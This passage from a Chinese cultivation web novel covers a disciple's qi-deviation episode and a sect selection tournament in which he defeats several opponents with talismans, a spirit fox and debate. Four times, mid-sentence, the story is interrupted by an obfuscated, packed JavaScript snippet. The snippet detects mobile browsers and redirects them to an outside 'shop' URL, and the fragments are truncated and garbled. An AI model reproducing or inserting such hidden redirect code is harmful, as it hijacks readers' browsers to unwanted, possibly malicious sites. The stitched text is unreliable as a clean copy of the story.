这回的痛觉比先前更甚,燕辞北一个不留神,已被按住了肩膀。 楚怜正埋首于他的锁骨,牙尖不由分说刺破了皮肤,细微的疼痛之后是潮湿滚烫的吐息。血腥在空气中弥散,两人都闻到了这丝异味。 但楚怜很快探舌卷走了那缕血迹,只留下一片暧昧的湿痕。 小千的声音就在此时来袭,一道外力猛地推开房门:“主人,我们来了!!!” - 砰地巨响,关门的是凤衔玉。 她站在门外,声音颤得厉害:“师师师师师尊……徒儿、徒儿带了剑仙……和静水峰彭长老……徒儿……弟子……师尊休整后请随时传唤弟子!” 其中还夹杂着白折竹和小千困惑的讨论: “那是在干什么?” “丑八怪是不是在以下犯上,敢打我主——宗主?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274510|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊?老妹也会挨打……吗?” 燕辞北也吓得不轻,费了九牛二虎之力把楚怜推开,后者照旧一片迷蒙的神色,完全意识不到事态严重。 燕辞北只好草草整理好两人的仪容仪表。 都怪原主为了维持女装大佬的风光,平日着装都是露肩露腿的风格,被人咬一口肩窝简直跟呼吸一样简单。 没错,只是出门被咬一口而已。 燕辞北深吸一口气,用法术定住楚怜,让他靠在椅边无法挣扎。自己则拉开了门,咳嗽着让凤衔玉带人进来。 “你们帮忙看看吧,”燕辞北开门见山地道,“他在运行楚家的心法,莫名其妙就发了狂。本座用灵识看过,似乎是灵气冲撞,体力不支,但该怎么缓解就不知道了。” 静水峰的彭长老也是见惯风波,虽然刚才瞄到一眼,现在却能非常平静地点头。 他上前为楚怜搭脉,楚怜本能地又要去咬,但被燕辞北弹指一道金光囚住,只能垂首缩在一旁。 断断续续的呜咽声传了过来,燕辞北偏过头,暗自掐紧掌心。 彭长老很快有了定论:“是楚家人的通病了,不算要紧。” “不要紧,那怎么治?”白折竹心焦不已地询问,“这孩子过几天还要上阵打架呢,要是带着伤病,就打不痛快了啊。” 彭长老没有理会白折竹。 他对燕辞北道:“楚家人心法所致,灵气大放大合,总比常人更焦躁些,楚公子的情况已算好的了,通常来说于修行并无大碍。只是他现在没了灵根,更易失控,今天发生这种状况估计是他自己太着急,强行吸收了自己不能容纳的灵气。” 燕辞北跟着点头:“没有大碍就好,需要本座做什么吗?” 彭长老:“尊者勿忧。稍等静水峰送两服清心静神的汤药过来,让公子服下休整一晚即可。而且这回福祸相依,您的‘凤凰种’向来以死而不绝闻名,楚公子沾了您的……之后,损伤的灵脉也修复很快,不日就能自愈。” 白折竹和小千:“她的……?” 燕辞北:“我的……?” 彭长老却促狭地眨眨眼,不说话了。 唯独凤衔玉又是一阵惊悚的发抖,匆匆挤入几人中间,赔着笑谢了一轮,便火烧屁股似的送走白折竹和彭长老。 等回来,凤衔玉如释重负,小千还缠着想问,但立刻被她堵住嘴。 “师尊放心!”凤衔玉一边堵住小千,一边郑重地对燕辞北表忠,“弟子今后绝对不再犯类似的错误,您和师弟……弟子都明白,弟子一定会保护您的声誉!” 燕辞北:“?” 这是什么全天下只有彭长老和凤衔玉能听懂的暗语吗? 但为了楚怜能好好休息,燕辞北还是压下了好奇心,示意换个地方再谈。 他的肩膀也疼得厉害,哪怕用法术立刻复原伤口,当时的痛觉和炙热也久散不去,让他浑身都不自在。 房门一开一合,暂且只留下楚怜。 他合着眼睛看似睡得踏实,实际上,刚才的吵闹和议论一声不落全都进了耳朵。 甚至更早一点,白折竹和彭长老都未造访的时候,楚怜自忖也不是全然不能控制——否则以彭长老那温柔的看诊,根本近不了他的身。 但他宁可装睡。 楚怜重重吐出一口气,他被燕辞北摆成四仰八叉的姿势放在床上,这不是他习惯的睡姿,此刻却觉得浑身发懒,一寸也不想动弹。 空气里的血腥气早就散去,嘴里的却没散,而且,楚怜担心它永远不会消散。 心如擂鼓、如溅蹄、如春雷,如世间嘈杂的一切。 令他无从静心,无从自省。 只觉得烦,很烦,非常烦——想现在就找个人一起爆了。 14. 第十四章 彭长老所言不假,楚怜醒后也说自己灵脉强韧更胜以前。 他承认这次危机是因为强行挑战此前都未涉足的第十三层心法,没有灵根傍身,一着不慎,便入了心障。 至于为什么铤而走险,以后还会不会故技重施……楚怜又选择了装睡。 同样,燕辞北也没有告诉他锁骨上的一口。 他只露出虎口处的伤痕,笑眯眯说楚怜报了藏书阁那一嘴的仇恨。 楚怜对此回以长默。 然后掏出一张疗伤符,咬牙切齿地给燕辞北揉散虎口的伤。 - 十日之期转眼即过,楚怜没有灵根,自然难谈什么境界上的突破。 但许多人都听说了客舍里那场小小的混乱,毕竟是剑仙亲自带着彭长老赶去,谁知道楚怜是有了进益还是落下病根。 好在今天都能得出一个定论。 燕辞北本意想和两个徒弟一起,可龚掌门早早就派了亲传来请。 听说十二峰峰主都已入座,燕辞北也不便拖沓,让小千化回原型,便先带她御剑赶去校场。 “尊者的座位也在上座,仅次于掌门,就在剑仙旁边。” 龚清仪作为龚掌门派来的使者之一,说话时眼睛亮闪闪的,犹如两汪清泉。 燕辞北:“谢谢你。” 龚清仪立即捂住脸声线颤抖地尖叫:“不不不不不要客气,尊者大人!晚辈、晚辈……呜……晚辈失态了……” 这么真挚的崇拜,叫人根本忽视不了。 燕辞北无奈地笑笑,道一声无碍。 龚清仪又满血复活,一面御剑,一面俯视山景为燕辞北介绍:“这里是与剑台静水峰,医修众多。那里是惊雷峰,炼器和剑修都有。还有长风陵……虽然现在很少人去,但曾经也很热闹。” 话刚说完,龚清仪便自觉失言地红了脸。 长风陵就是楚怜跌落的那处悬崖,他们都知道燕辞北是在那里捡走楚怜,也知道楚怜是因为外门龃龉才会摔下。 但见燕辞北没有出声,龚清仪忍不住嘀咕:“其实那些外门弟子也不是故意的。都是楚怜平日太惹人生气,才会酿成那样局面。如果他不是那样的人,就不会落得孤立无援了。” 燕辞北看她一眼,不动声色地切了话题:“清仪的根骨倒很不错。” 他看得出,这姑娘年纪比楚怜大不了几岁,但也刚刚突破了金丹。 正是锐意迸射,意气风发的时候。 龚清仪又变得害羞,忸怩着不多言了。 片刻,两人先后落到主峰下的校场。 与剑台的内门大选十年一度,是从外门挑选英才进入内门修行的考试,说隆重也不算太隆重,经常会有峰主长老缺席。 这次悉数到位,多是看在燕辞北的面子,尽一下地主之谊。 众多弟子更是森罗场中,排作严密的阵型。一眼过去,浩浩荡荡。 和那天迎客时的模样不同,上回多是内门弟子,今天却是外门。人数更为显著不说,这些人的敬畏和崇拜也更狂热,单是仰望着燕辞北从剑身飘落的衣影,校场里都回荡着此起彼伏的粗重呼吸。 所有人都听说,南离尊者来一趟与剑台,就挑走了已经和废物无异的楚怜。 那抹火红的影,霎时间好像咫尺之近。 ……若能蒙她垂怜、但愿蒙她垂怜。 “尊者阁下,几日不见,希望敝宗没有招待不周的地方。” 龚掌门亲自问好,其余峰主也都跟着起身。 燕辞北一一谢过,依照龚掌门的安排,落座在白折竹的身边。 与剑台的校场是一个八方卦阵,八角各坐一面巨鼓。持槌者都是金丹以上的修为,白衣青绶,猎猎生风。 白折竹难得醒这么早,还有几分犯懵。 他想缩着睡觉,但刚低头就被龚掌门一记指风弹醒,迫不得已地和燕辞北攀谈:“看,气派不?” 说话时还得故作不经意地凹出自己的肱二头肌。 燕辞北:“……我的比你大。” 指肱二头肌。 白折竹立马嘤嘤哭着扭过头:“太伤人了愚兄再也不理你了!” 然后顺理成章地一歪脑袋,睡熟过去。 燕辞北回头看一眼龚掌门,他捂着脸,羞愧的模样和龚清仪捂脸时如出一辙。 很快,八方鼓响,天地雷鸣。 燕辞北眺见凤衔玉和楚怜也准时到场,正从阵型的边沿一路前行。他俩的鹅黄衣色在人群中煞是扎眼,不止燕辞北,其他峰主长老也很快留意到了。 静水峰彭长老率先笑笑:“看上去,楚公子恢复得不错。” 燕辞北颔首:“多亏有彭长老的灵药,本座承了这回恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274511|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,来日一定报答。” 彭长老客套着说不用,其余人却是面面相觑。 他们听说了燕辞北重视楚怜,但没想到能这么重视。渡劫期大能亲口承诺的“报答”,哪怕是他们,也不得不艳羡彭长老的机遇。 这回大选由龚掌门亲自操办,宣读规则的责任也落到龚清仪的头上。 她陪侍在掌门身边,鼓响意味着时到,龚清仪便上前半步:“巳时到,天鼓起。今与剑台弟子受诏齐列,敬听天令——” 雪装素裹的一片齐齐顿足,一个个斗志昂扬。 与剑台的外门弟子足有近万人,当然不可能都在大选中录用。 所以大选一向只欢迎突破了筑基、通过纸面考校的外门弟子,这样一来,就从万人里除去九成以上,可以参加大选的仅剩三百余人。 参考往届的比例,三百人里或许有十来个可以拜入内门。 比起合欢宗来者不拒的做派,更体现出与剑台的谨慎和严格。 “先前说的是要胜过十个内门弟子,那是针对内门的规矩。而对外门,我们理应稍微放松。”龚掌门说,“楚公子可以从这三百人里抽签选出十个对手,目前他们也还算外门。” 燕辞北心头微松,甚至泛起一丝感激。 从三百人里抽签,至少保证了不会出现金丹期以上的对手。而且曾经都是外门,说不定能遇上一两个对楚怜观感不错的,稍微放水…… 接着就听龚清仪宣布:“接下来,凡是胜过楚怜楚公子者,即可拜在掌门座下。反之,算作淘汰,失去后续资格。” 无数双眼睛立刻凝在了楚怜身上。 按照龚掌门的安排,楚怜还正站在第一排,位置和装束都醒目至极。 四面八方都是垂涎的眼神,与其说什么公子,他现在更像是丛林里的一块肥肉。 龚清仪居高临下地问:“楚公子,你接受吗?” “不是内门吗?” “考虑到你本来也是外门,特意做了修改。” 楚怜啧嘴,似乎极为失望:“就这些……也行吧。” 四周的呼吸顿时更沉重了,各种眼光都想把楚怜千刀万剐。 燕辞北:“……” 都不用与剑台用直升内门的资格做诱饵,他家男主已经把仇恨拉满。 南离尊者撤回了一个放水的期待。 15. 第十五章 众弟子礼毕便向八方散去,龚清仪掌着签筒,甩袖一振。 灵力凝成的长签迸飞如雨,铺天盖地袭向楚怜。楚怜掐了几道符纸,身形在签影中浮灭,须臾后百签落地,少年在万众瞩目中现形。 照旧微抬颈颅,虽在阶下,楚怜目光却比座上前辈还多几分睥睨的意味。 他手里不多不少十根长签,信手掷去,落回龚清仪的签筒。 “……”龚清仪的神色微微发青,从中抽出一支,“第一战,廖京出列。郑永、陈祥候场。” 人群微动,半晌走出一名青年。 被楚怜挑中,廖京忍不住窃喜。他虽然在三百人里不算出色,但要对比没有灵根的楚怜,那可太轻松了。 一时间,周围汇聚的目光也都充满羡慕。 廖京咳嗽两声,抱拳行礼:“与剑台廖京,筑基三阶。” 说话时,他偷偷瞟向上座的燕辞北。 虽然相隔极远,还有云雾作为阻隔,但廖京知道尊者的目光正一刻不落地凝在此地。那点旖旎的红影是多少修者的期盼,她却这么轻易就为一个废物驻足。 廖京磨了磨牙,收回眼神。 却是这一回神,他才感到一股迫面的热浪—— 数张燃烧符不知何时杀向他,将他一切方向堵得极严,就连正上方都燃起一团火焰,纷乱的火星像一场暴雨,烫得他无从落脚。 “这是——?!” 廖京大惊着想要拔剑,然而手已经被人轻按,一道燃烧符拖着火尾贴在他的手背。它的边缘还贴着一张追踪的符篆,让它可以坚定地追杀廖京。 “十张燃烧符、十二张追踪符、两张换影符。”龚清仪喃喃细数,越数面容越是扭曲,“他、他、他这是犯规!” 燕辞北正看得心神激荡,恨不能大声叫好:“用符的手段也是修者实力的一环,如果清仪能用符篆胜过本座,本座也是甘拜下风的。” 倒是白折竹眼睛直勾勾盯着楚怜,猛地鼓掌:“好!漂亮!这符甩得真好!!” 龚清仪似乎还想多说,但龚掌门斜去一眼,让她彻底没了声息。 只能咬牙切齿地接着观战。 但就这么两三句话的功夫,廖京已经认输,第二战的郑永什么都没看懂,便糊里糊涂上了场。 果不其然,燃烧符一顿不要钱地洒来,他也很快叫停。 不是没学过怎么应对符篆,而是没学过怎么应对这么大规模批发的符篆。 所有人都知道楚怜灵力不济,但没人知道当他们连楚怜一根毛都碰不着的时候,要怎么破开壁垒一般的火海,把剑捅向楚怜的命门。 燕辞北看得得意极了,只差没拿头发甩龚掌门几个耳刮。 但投去的每一眼都写满了“怎么样”“他厉害吧”“我眼光好吧”。 龚掌门:“……” 他只能避开眼睛,不予搭理。 等到第三战的陈祥一样不敌符篆,匆匆认输,观战的弟子也跟着乱了套。 他们义愤填膺,既不齿楚怜用钱砸人,又好奇楚怜还剩多少符篆。 同时更好奇下一个挨砸的倒霉蛋是谁,要到第几人,才能结束这场诡异的碾压。 筑基期居然被一个连灵根都没有的小子欺负了! 就这还说他们外门霸凌楚怜,不怕烧吗?! 备受瞩目的楚怜却只是慢条斯理地掐了一张清洁符,把沾到衣角的灰烬除去:“下一个。” 接连三个人都没碰到楚怜一下,龚清仪咬紧牙关,目光在签文中逡巡。 突然,她看到了某个名字,眼睛豁然亮起,一手将它抽出:“第四战,曹希远!” 燕辞北对这个名字没什么印象,但白折竹的眉头倏地皱紧。 他看向龚掌门:“这人不该在静思崖下思过吗?怎么又放出来。” 龚掌门从善如流地捋捋胡须:“……内门大选十年一度,对外门弟子来说太重要了。无论他能否通过选拔,之后都把剩下的天数补上就是。” “哪有这种道理?这小子霸凌同门,该是大忌,如果真让他进了内门,不是带坏与剑台的风气么?” “咳——!” 龚掌门重重地咳嗽,示意他不要继续纠缠。 白折竹皱了半天的眉,燕辞北听明白了:“这人不会就是……” 问着问着,弟子里已经走出那道身影。 体型魁梧壮硕,比楚怜高了整整一个脑袋,就像一座小山似的镇了上来。 燕辞北和楚怜的眉宇都拧了起来。 ——曹希远,正是先前欺侮楚怜,害他跌下悬崖的那个。 曹希远深深呼出一口气,攥紧双拳。 喀喀的响动中,两臂肉筋虬结,曹希远得意洋洋地抬首,俯视楚怜: “楚公子,真是多亏你啊。我在静思崖下边待了近一个月,真是无时无刻不思念你。” 他的目光落到楚怜腰上的玉佩,又是一笑:“听说你现在得了南离尊者的青眼,恭喜恭喜。就不知道她是真心,还是一样奔着你的‘宝贝’来了。” 楚怜的脸色越发黑沉下去。 耳翼微动,他听到燕辞北正对龚掌门发怒:“贵宗真是令本座刮目相看,触犯门规的弟子也能参加大选?难道就因为他是筑基九阶?” 筑基九阶。 距离金丹都只一步之遥,在这届的外门里一定是当仁不让的第一。 就算没有楚怜,曹希远也多半会通过大选。 但天意弄人,命运偏偏让他们狭路再逢。曹希远堵在了楚怜的路上,楚怜也一样挡住了他的前程。 曹希远活动着拳头:“何必做无谓的挣扎,我要是你,就直接投降了。” 话音未落,燃烧的符篆近在眼前。 曹希远一拳打散了火团,正待嗤笑,却看见深重的火海在眼前凝聚。 数十张燃烧符犹如烈火织就的熔炉,齐齐迸发出激烈的火簇。人群哗然的声浪与火焰一起直冲云霄,两拳巨石猛然撕开了火墙。 曹希远褐色的皮肤覆满汗津,双臂土石攀附。 冲出火海的瞬间,曹希远又膨胀些许,越发如一座巨山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274512|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“楚怜,你除了符咒,都没有别的本事吗?” 一声冷笑穿过烈风,曹希远刚拧眉,发现一股阴冷逼近身后。 楚怜就立在他的身后,手里一匕青光耀目,就在曹希远分神的刹那,剑锋直刺咽喉—— 曹希远膨起的肉墙转瞬撞开楚怜,土灵根强悍的防御让他躲过一劫。 两人的身影在火风中冲撞,金石激鸣,星火连溅。 楚怜的符篆、暗器在绝对的防御面前毫无用武之地。但他的剑器法宝都是上品,两人战得难解难分,一时看不出胜负。 可实际上,观众悬起的心脏都有了微妙的偏倚。 修者之间,决定性的差距还是灵力。 筑基九阶的灵力和炼气期相比,就是一汪泉水和一点水滴的区别。 “其实我也没有很讨厌你,可在上修界,被看到的人才有望向上。” 楚怜自始至终都没理他,而是专注地挥剑,眼中宛如凝冰。 他的剑法远比曹希远的拳要精湛,确切来说,楚怜对剑的领悟在金丹期修者中仍占上风。只是就如曹希远说的那样,灵力不济,剑技再好也是花架子。 他刺不穿曹希远的防御,曹希远也已下定了决心和他消耗。 每多一息,楚怜的脸色就更白一分。 曹希远观察许久,已经看出楚怜面上血色褪尽,只剩一口傲气撑着。 他忍不住嗤笑,语气似怜似嘲:“不是什么都要如你所愿的,你已经得到这么多的关注,也该轮到别人了。” 闻言,楚怜细眉微皱。 他的剑脱手飞去,整个人力竭一仰,摔倒在地。 曹希远乘胜追击,一拳砸下,悬在楚怜面门处,自得地张口,想要再说最后一句,把这位天之骄子彻底踩进泥中。 然而就是这一瞬的失神,一股痛觉扎进左肩,曹希远瞠目下视。 周围涌起无数倒抽冷气的惊呼。 楚怜藏在背后的指尖泛着微光,青剑受召而驰,便从后方深深刺进了曹希远的肩膀。 鲜血转瞬浸透了曹希远的校服,他瞪直了眼睛,依旧难以置信。 控剑之术,明明是筑基期的灵力才有可能成功。 楚怜怎么可能有这么多灵力? 楚怜苍白的脸上缓缓勾出一抹笑意,一手推开曹希远,喘息着爬起。 攻守易势,青剑回到楚怜手中,而他一脚踏向曹希远的胸口,剑尖高悬:“向我认输。” 他强行突破心法换来的灵力,才是比暗器和符篆更有用的杀手锏。 干涸的灵脉寸寸崩裂,楚怜唇缘淌下一行血迹,徐徐洇湿了衣衫。 可他的剑锋和眼睛一样璀璨。 他的目光没有逗留曹希远的身上,而是穿过云雾,看向上座紧张得起身的燕辞北。后者的脸色比他还白,若非白折竹在旁拉着,好像下一刻就要飞下来搂他。 楚怜轻轻一笑。 似乎是对曹希远的回应,但又不完全是:“我想要的,永远轮不到别人。” “凭什么不如我所愿?” 16. 第十六章 燕辞北看得一个字都说不出。 原著里可没有这么千钧一发的战斗。原著楚怜掏走别人的灵根,在内门大选几乎是见一个砍一个,砍得白折竹眼冒精光,直呼生平仅见。 那是一场酣畅淋漓的碾压,不费吹灰之力,楚怜就重回万众瞩目的顶峰。 而不是现在这样,一身浅色的衣服染得尽红。 曹希远认输之后,燕辞北立即落到楚怜身边。彭长老和凤衔玉也飞奔而来,前者抓紧给曹希远止血,又递了丹药过来。 但楚怜摇摇头,自己取出芥子戒里的补灵丹,默默服下。 至此,他算是胜过了四名弟子,还剩六人。 曹希远的伤处不在要害,可他深受那一瞬间濒死的恐吓,认输后也还失魂落魄,许久说不出话。 直到彭长老叫人把他扶走,燕辞北忽然伸手抓住曹希远的衣领。 龚掌门眼皮一跳,忙遣龚清仪过来斡旋。 却听燕辞北说:“摔崖的事,你还没和楚怜道歉。” “……” 曹希远霎时间回了神,脸上连着耳根烧红一片。 他捂着伤口,垂首支吾一阵,最终对楚怜深深地低头:“……楚道友,我们以多欺少,抢你的法宝,是我们对不住你。” 龚清仪一怔:“抢他的法宝?你们不是说他偷你们东西吗!” 曹希远的头低得更深,不住地道歉,再不说别的了。 楚怜嗤笑着侧头,没有应下,也没计较,只是伏在燕辞北的手臂,偶尔发出一两声不适的轻哼。 燕辞北心疼得直哄,挥挥手,几个弟子便把曹希远扶走。 回想楚怜阔绰的出手,怎么看都不可能是偷人东西的那个,龚清仪很快想通其中曲折,脸上羞红:“我、我以前都误会了,尊者对不起。但是……但是楚怜他确实性情古怪,他——” “师尊。”楚怜出声截断了龚清仪的小报告。 燕辞北低头,见他细眉微蹙,汗湿的乌发贴在雪白的颊上,双唇则被鲜血染得极艳。反差极强的三色渲染着那张精致绝伦的面容,越发地摄人心魄。 对视后,少年的手指松松地一勾燕辞北,话音很轻,但每个人都能听到这句虚弱的呻/吟,“……我疼。” 燕辞北的心脏一下子揪紧了。 他猛地抱起爱徒,一手逮住彭长老:“彭长老你快看看他!他说疼啊!是不是内伤?要什么灵药你尽管开口,上天入地本座也能找来,你快看看他!!” 彭长老被拉得一个趔趄,连忙伸手去搭楚怜的脉门。 龚清仪呆若木鸡地站在一旁,几度想要继续刚才的话,但得不到燕辞北的回应。倒是“奄奄一息”的楚怜从忙碌的间隙和她对上视线。 龚清仪张了张口,犹豫是不是要说点关心的话。 却看到楚怜的眼睛向上一翻,一个丝滑的白眼丢来,又恢复了那副惹人怜爱的虚弱模样。 龚清仪:“……喂?!” 没人冤枉他吧!这家伙就是很古怪啊!! 可是所有人都围着楚怜,不止彭长老,静水峰峰主也亲自下场,擦着额汗去看楚怜的情况。 龚清仪气急败坏地回到掌门身边,想要揭穿楚怜,但被龚掌门示意噤声。 白折竹在旁抚掌:“这就是师徒情深?真好啊真好。” 父女看白折竹的眼神里都充满了恨铁不成钢的憋闷。 片刻,楚怜在燕辞北的搀扶下站起,好似弱柳扶风,说话却掷地有声:“下一个。” 龚清仪举起签筒:“呃……下一个……” 燕辞北的眼刀扫向周围,众弟子全都眼观鼻鼻观心,从一开始的跃跃欲试,变成了一排排鹌鹑,唯恐被龚清仪点到名字。 但龚清仪最终还是要点一个人:“李云逐。” 其余人都如释重负,被点名的李云逐则是面如金纸。 他不情不愿地从人群里出列,顶着燕辞北的目光,每一步都走得胆战心惊。 “楚公子伤成这样,我也不想胜之不武。所以、所以……”李云逐绞尽脑汁,祈求般地磋商,“楚公子,我们就当战平了,行不行?” 输了就不能进内门,赢了说不定会被燕辞北报复。 除了和楚怜商量着战平,他也想不出别的法子了。 听到他的建议,楚怜一边咳血,一边掐了一张清洁符整理仪容。 然后摸向芥子戒,平静地掏了一会儿。 李云逐咽一口唾沫,循循善诱:“楚公子,我是水灵根,燃烧符对我效用不大,就不要浪费符咒了。” 但楚怜掏出的,是一只火焰凛凛的幼年火云狐。 看着足有三四个自己这么高的火云狐,李云逐:“?” 一滴水啪地砸下。 火云狐吧嗒吧嗒咂着嘴,兽瞳俯视着娇小的李云逐,垂涎欲滴。 “如果你有灵宠,也可以放它上阵。”楚怜说,“没有的话,我家这位是筑基期,应该不算越阶。” 李云逐:“……” 灵兽结契不算罕见,但对萌新修者来说绝对苛刻。 除非亲手揍服它们,基本不存在捡漏结契的可能。所以炼气期、包括筑基期都很少拥有自己的结契灵兽——可楚怜曾经是金丹期,而且是金丹期的翘楚。 全场寂静。 李云逐起初还挣扎一番,不愿就这么屈服。 但火云狐和它主人的恶劣同出一脉,仗着体型优势,甚至做出了借李云逐召来的水流舔毛的羞辱行为。 楚怜全程就坐在火云狐软绵绵的绒毛里疗伤。 待到李云逐灵力将尽,不得已地认输,后续连着三位弟子也都不战而败,根本不敢和火云狐正面相抗。 “这是犯规!”龚清仪彻底炸了,哪怕燕辞北就在眼前,她也忍不住怒火,“一对一的切磋,怎么能用灵兽呢!就算是筑基期的灵兽,人修和兽修的体质就不一样,这根本不公平!!” 燕辞北没有开口,凤衔玉扫她一眼:“那让炼气期弟子一挑十的车轮战就公平吗?即便楚怜不在曹希远那一场耗尽灵力,打完十个,也足够他力竭而死。” 龚清仪被她堵得瞠目,一时说不出反驳的话。 夕阳渐坠,切磋已经来到了第九人,再胜过两个,与剑台就要成笑话了——一个没有灵根的修士,居然能顺利战胜十个与剑台弟子。 就算都是外门弟子,其中也不乏曹希远这样根骨不错,很受期待的人选。 最让她不甘的,还是楚怜的手段。 截至目前,除了曹希远是他本人堂堂正正地战胜,其他不都是符箓和火云狐的功劳? 这样也算赢吗?未免太瞧不起人了! 第九个弟子名叫柳欢,是名女修。 面对体型悬殊的火云狐,她明显不打算像李云逐那样硬扛,也不考虑和其他人一样投降。 她款步出列,有礼有节地报上名姓:“与剑台柳欢,筑基五阶。” 楚怜微微颔首:“楚家,楚怜。” 一如既往地略过了宗派和修为。 柳欢没有立刻动手,她微笑着仰首和楚怜谈判:“久闻楚公子盛名,今日能有交手的机会,是柳欢的幸事。不过在下是一名器修,立志炼器之道,不擅争斗。不知楚公子能否便宜行事,我们不比拳脚,比个别的?” 修者间的切磋大多以直接的武力为主,楚怜从前的声望也都是一剑一剑劈出来的。 但比其他的也有,就像丹修之间比炼丹、器修之间比法宝。 她没有说畏惧火云狐的威力,也没有说楚怜的伤势和体力,而是提及两人法门的不同,说得有理有据,也足够委婉礼貌。 楚怜问:“你想比什么?” “多谢楚公子体谅,在下想……论道如何?” 论道,顾名思义,就是嘴皮子战。 双方用一丝灵力各举一片落叶,就这么斗嘴,谁被说得动摇,叶子就会落下。 楚怜平时看着无法无天,也不像牙尖嘴利的人。但柳欢说到这里,楚怜想了想,居然点头答应,从火云狐的背上跳了下来。 燕辞北的余光扫到龚清仪欣喜熟稔的笑容,就知不好。 这个柳欢言行举止都无可挑剔,一看就是玲珑心思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274513|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、舌灿莲花的主儿,楚怜要是几句话不对付猛一拔剑—— 然而阻止已经来不及了,他也找不到理由阻止。 场上二人盘膝对坐,楚怜示意对方先说。 柳欢:“在下一时也想不起什么法门,不妨随便聊聊。比如公子这次与南离尊者同行,我也是道听途说,听闻公子请辞是为了拜入合欢宗的门下。如果真是如此,不知公子是如何做下这个决定?” 开口直击命门,燕辞北蓦然扣紧了座椅扶手。 他不知道楚怜会怎么回答,设身处地,如果是他,好像真的无法回答。 南离尊者屈尊请我? 我在与剑台已经没什么奔头? 合欢宗相比之下没有霸凌? 好像什么理由都可以说,但什么理由都有点无力。 与其说是论道,更像是挑拨楚怜和燕辞北的关系。 但楚怜的反应异常平淡:“我在楚家出生,在楚家长大,自然最认可楚家的道义。与剑台和合欢宗,拜在哪里都是一样。” 柳欢笑意更深:“那剑仙都已出言挽留,公子为何还是坚定要走?” “决定要走就只管走,还问‘为何’,就是还没做下决定。” 楚怜望她一眼,目光落在柳欢的佩剑上,话锋跟着一转,“你的道太松散,如果你的‘立志炼器’需要找出一个‘为什么’,那还不如专攻剑道。反之,下次就佩你自己铸的剑,那样更像我印象中的器修。” 柳欢的笑容陡然僵住,似乎没料到他会突然把问题抛给自己。 她结巴了瞬间,解释道:“我要做器修,至少得先拜入内门。内门大选还是要切磋,所以我必须用更好的剑,我自己铸的还不够好……” “既然不够好,还学炼器做什么?” “我、我只是想试试。如果真的不行,我也可以做别的。” “那为什么不直接做别的?你是水木灵根,不适合炼器。” “但是我喜欢炼器,我有很多自己设计的图纸。” “借口。图纸能代表什么,你炼的剑自己都不稀罕佩戴,别人凭什么为残次品买单?” “……” “其实你自己也知道,你在炼器一行资质平庸,所以才一堆理由罢?” 楚怜道,“不想做就别做了,真正想做的人没时间想这么多。” 柳欢深深地吸一口气,在他穷追猛打的刻薄下猛地红了眼睛。 她气愤得嘴唇直抖,千言万语都要喷薄而出。 但楚怜适时指了指那片颤抖的叶子:“你输了。” “……”柳欢的面上一片空白,好像还沉浸在情绪里没能自拔。 楚怜看她一会儿,忽然叹息一声:“你本该把回答我的时间拿去多画两张图纸。我正在考虑给师尊的剑铸个新形,你只需要出一点华而不实的点子,都有可能让我花钱。” 他的话音一字不落地传进所有人的耳朵。 听上去似乎是安慰,但不知道柳欢究竟有没有被安慰到。 倒是小千在剑鞘里上蹿下跳:“他又在骂我!!!” 燕辞北咳嗽两声,刚想安抚,却感到身边一阵风啸。 隐忍已久的龚清仪勃然色变,特别是柳欢被楚怜苛刻的言论说到快哭的时候,她的剑吟犹如春雷,唰地袭向了楚怜。 楚怜敏锐地拔剑一抵。 青色的剑身锵然激震,久久难以平息。再定眼,只见龚清仪通红的眼睛迫在面前,玉面激怒:“阿欢才不是华而不实!你根本不知道她的努力,凭什么对她评头论足?!” 金丹期恐怖的威压倾然而下。 楚怜的脸迅速褪去了所有血色,青剑“喀”地一响,竟然从根部缓缓爬起一道裂痕。 燕辞北猛地起身。 但见楚怜咳出一口鲜血,反而对龚清仪扯出笑容:“你就是第十人?打败你,我就能走了是吗?” 龚清仪杏目圆瞪,也顾不得仪态礼节。 